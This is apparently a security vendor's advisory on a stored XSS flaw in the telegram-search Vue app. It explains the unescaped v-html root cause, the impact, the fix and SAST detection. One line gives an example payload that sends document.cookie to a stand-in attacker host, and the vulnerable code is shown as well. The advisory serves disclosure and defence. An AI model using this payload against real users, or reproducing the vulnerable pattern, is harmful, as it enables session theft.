Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
ZeroDays CVE-2026-73031
High CVE-2026-73031 CVSS 8.7 telegram-search (GramSearch) TypeScript / Vue

Stored XSS via v-html in telegram-search

CVE-2026-73031 is a stored XSS flaw in telegram-search where unsanitized message content passed to v-html enables zero-click JavaScript execution across all users.

Offensive360 Research Team
Affects: < 54f6adc
Source Code View Patch

Overview

CVE-2026-73031 is a stored cross-site scripting (XSS) vulnerability in telegram-search, an open-source Telegram message indexing and search application maintained under the GramSearch GitHub organization. The flaw resides in MessageList.vue, where the highlightKeyword function constructs an HTML string from raw, attacker-controlled message content and pipes the result directly into Vue’s v-html directive without any sanitization or escaping step. Because the injected content originates from messages sent to a shared Telegram group, it is persisted in the application’s search index and replayed to every user who subsequently browses or searches those messages — a textbook stored, cross-user XSS scenario requiring no interaction beyond normal application use.

The vulnerability was identified by security researchers and reported via GitHub issue #653. A patch was merged in pull request #654 and landed in commit 54f6adced844ce9990228d75e31348bfed934e05 on the upstream fork at groupultra/telegram-search. Any deployment of telegram-search built from a commit prior to that patch is affected.

The affected user population is any team or individual running a self-hosted instance of telegram-search against a Telegram group where membership is not exclusively trusted. The attack surface is particularly notable in enterprise or community deployments where channel membership is broad, because any member — or an outsider who can post to the channel — becomes a potential attacker.

Technical Analysis

The root cause is a single, straightforward anti-pattern: passing untrusted data to v-html. Vue’s v-html directive inserts a string as raw DOM innerHTML, intentionally bypassing Vue’s template-level auto-escaping. This is appropriate when rendering pre-sanitized, trusted HTML, but catastrophic when the string contains user-supplied content.

In MessageList.vue, the highlightKeyword function was implemented roughly as follows:

// VULNERABLE — MessageList.vue (before patch)
function highlightKeyword(text: string, keyword: string): string {
  if (!keyword) return text;

  const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  const regex = new RegExp(`(${escaped})`, 'gi');

  // 'text' is raw message content — no HTML escaping performed
  return text.replace(regex, '<mark>$1</mark>');
}
<!-- VULNERABLE — template binding -->
<span v-html="highlightKeyword(message.text, searchQuery)" />

The function correctly escapes the regex metacharacters in the search keyword, but it never escapes HTML metacharacters (<, >, ", &) in the message text itself. An attacker who sends a Telegram message such as:

<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

will have that string stored verbatim in the search index. When any other user performs a search that returns that message, the highlightKeyword return value is handed directly to v-html, and the browser renders it as live HTML — executing the onerror handler immediately, without any click or interaction from the victim.

The CVSS 8.7 rating (HIGH) reflects the combination of network-based attack vector, low attack complexity, no privileges required on the application itself, a changed scope (the attacker affects other users’ browser sessions), and high confidentiality and integrity impact. The “zero-click” nature of execution is captured in the “no user interaction required” vector component, because the JavaScript fires the moment search results are rendered.

Impact

An attacker with the ability to post to a Telegram group indexed by a vulnerable telegram-search instance can achieve persistent, cross-user JavaScript execution in every victim’s browser session. Concrete consequences include:

  • Session hijacking — exfiltrating session cookies or tokens if they are not flagged HttpOnly.
  • Credential harvesting — injecting fake login overlays or redirecting victims to phishing pages.
  • Data exfiltration — reading and forwarding any data accessible from the DOM, including search results, message history, and user metadata rendered by the application.
  • Lateral movement — using the victim’s authenticated session to make API calls on their behalf, including modifying application state or escalating privileges if the application exposes admin functionality in the same origin.
  • Worm-like propagation — if the payload sends messages to the indexed group on behalf of the victim, the XSS can self-replicate to new messages and affect additional users.

Because this is stored XSS, the payload persists until the affected message is deleted or the database is purged. A single malicious message can continue to victimize users indefinitely.

How to Fix It

The fix is to HTML-encode the message text before performing keyword replacement, so that any HTML special characters in user-supplied content are rendered as inert text rather than markup.

// FIXED — MessageList.vue (after patch pattern)
function escapeHtml(raw: string): string {
  return raw
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

function highlightKeyword(text: string, keyword: string): string {
  // Escape the message content FIRST, before any HTML is introduced
  const safe = escapeHtml(text);

  if (!keyword) return safe;

  const escapedKeyword = keyword.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  const regex = new RegExp(`(${escapedKeyword})`, 'gi');

  // Only the trusted <mark> tags are introduced here; content is already safe
  return safe.replace(regex, '<mark>$1</mark>');
}

The template binding itself (v-html) can remain in place, because the content being injected is now controlled: it consists only of the escaped message text plus the application’s own <mark> wrapper tags.

An alternative — and architecturally safer — approach is to abandon v-html altogether and reconstruct the highlighted text as a computed array of Vue component nodes:

<!-- ALTERNATIVE: no v-html at all -->
<span>
  <template v-for="(part, i) in splitHighlight(message.text, searchQuery)" :key="i">
    <mark v-if="part.match">{{ part.text }}</mark>
    <template v-else>{{ part.text }}</template>
  </template>
</span>

With this approach, Vue’s built-in text interpolation ({{ }}) handles escaping automatically, and the application never constructs raw HTML strings from user data.

To pull in the patched code, update your checkout or dependency to the fixed commit:

# If running from source
git pull origin main
git checkout 54f6adced844ce9990228d75e31348bfed934e05

# If using npm and a packaged release — update to the latest published version
npm update telegram-search

Our Take

Stored XSS through v-html is one of the most predictable vulnerabilities in Vue-based applications, yet it continues to appear in production codebases. The pattern is almost always the same: a developer reaches for v-html to solve a legitimate rendering problem (here, wrapping matched substrings in <mark> tags), does not recognize that the input is attacker-controlled, and skips the sanitization step. The regex-escaping present in the original highlightKeyword function shows the developer was thinking about injection in one context (the regex engine) but not the other (the HTML parser).

For enterprise teams, this class of bug is a strong argument for defense-in-depth: a Content Security Policy that blocks inline script execution would have materially reduced the impact here, turning a code-execution primitive into a more limited HTML injection. Neither defense replaces the other, but CSP is a meaningful second layer when source-level sanitization fails.

Detection with SAST

This vulnerability maps to CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting). SAST detection focuses on data-flow analysis: tracing taint from an external source (network I/O, database read, API response) through any transformations to a dangerous sink.

In Vue applications, the primary sink to flag is the v-html directive. Offensive360’s SAST engine identifies:

  1. Direct taint to v-html — any template attribute of the form v-html="expr" where expr is or contains a variable derived from external input without an intervening sanitization call.
  2. String-building functions — functions that accept tainted strings and return new strings incorporating them via concatenation or replace(), when the result is passed to v-html. This is exactly the highlightKeyword pattern.
  3. Missing escape guards — absence of a recognized HTML-encoding routine (escapeHtml, DOMPurify.sanitize, or equivalent) in the taint path between source and sink.

The rule category in Offensive360’s taxonomy is VUE_VHTML_TAINT, and it is classified under the OWASP Top 10 A03:2021 — Injection. False-positive rates are kept low by modeling Vue’s native interpolation ({{ }}) as a safe sink, so only explicit v-html usages trigger the rule.

References

#xss #vue #stored-xss #v-html

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-73031-class vulnerabilities and thousands of other patterns — across 60+ languages.